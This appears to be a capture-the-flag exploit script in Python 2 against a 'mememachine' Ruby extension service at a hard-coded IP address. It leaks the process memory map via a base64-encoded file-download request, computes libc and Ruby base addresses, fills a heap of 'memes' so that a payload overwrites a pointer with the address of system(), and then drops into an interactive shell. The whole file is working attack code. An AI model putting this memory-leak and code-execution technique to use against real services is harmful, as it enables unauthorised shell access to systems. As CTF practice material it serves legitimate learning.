#!/usr/bin/env python

import sys
import socket
import struct
import telnetlib
import time
import re
import string
import base64
import random


#s = socket.create_connection(("127.0.0.1", 13337))
s = socket.create_connection(("54.164.173.236", 1337))


def interact():
    t = telnetlib.Telnet()
    t.sock = s
    t.interact()

def ra(to=.5):
    buf = ""
    s.setblocking(0)
    begin = time.time()
    while 1:
        if buf is not "" and time.time() - begin > to:
            break
        elif time.time() - begin > to*2:
            break
        try:
            data = s.recv(4096)
            if data:
                begin = time.time()
                buf += data
            else:
                time.sleep(.1)
        except:
            pass

    s.setblocking(1)
    return buf


def rt(delim):
    buf = ""
    while delim not in buf:
        buf += s.recv(1)
    return buf

def se(data):
    s.sendall(data)

def u64(d):
    return struct.unpack("<Q",d)[0]

def p64(d):
    return struct.pack("<Q", d)

def download(loc):
    se("p\n")
    rt("bro: ")
    se(base64.b64encode(loc) + "\n")
    ans = rt("[p]")[:-3].replace("ok heres ur receipt or w/e\n", "")
    return ans

def skeletal(what):
    se("m\n")
    se(base64.b64encode(what) + "\n")       # need to base64 encode, see ruby script

def pwn():
    # first download the memory mappings
    d = download("/proc/self/maps")

    libc_base = 0
    heap_base = 0
    ruby = 0

    # now extract the mappings
    for l in d.split("\n"):
        ll = l.split()
        if len(ll) != 6:
            continue
        if "[heap]" in ll[5]:
            heap_base = int(ll[0].split("-")[0], 16) # me no like regex :>
        elif "libc-2.19.so" in ll[5] and ll[1] == "r-xp":
            libc_base = int(ll[0].split("-")[0], 16)
        elif "mememachine.so" in ll[5] and ll[1] == "r-xp":
            meme_machine  = int(ll[0].split("-")[0], 16)
        elif "ruby" in ll[5] and ll[1] == "r-xp" and ruby == 0:
            ruby = int(ll[0].split("-")[0], 16)

    # calculate the offset of system
    libc_system= libc_base + 0x46640

    # calculate the address of our awesome "ed" string
    ed = ruby +  0x633

    # create one type 0 meme
    se("l\n")

    # then create 255 more memes
    # (doesn't have to be skeletal type)
    for i in range(255):
        skeletal("1337")

    # then our payload with the system addr @ offset 8 and
    # the ed string ptr @ offset 16
    skeletal("A"*8 + p64(libc_system) + p64(ed))
    ra(to=2)

    # checkout and pwn!
    se("c\n")
    print "go >"
    interact()

pwn()
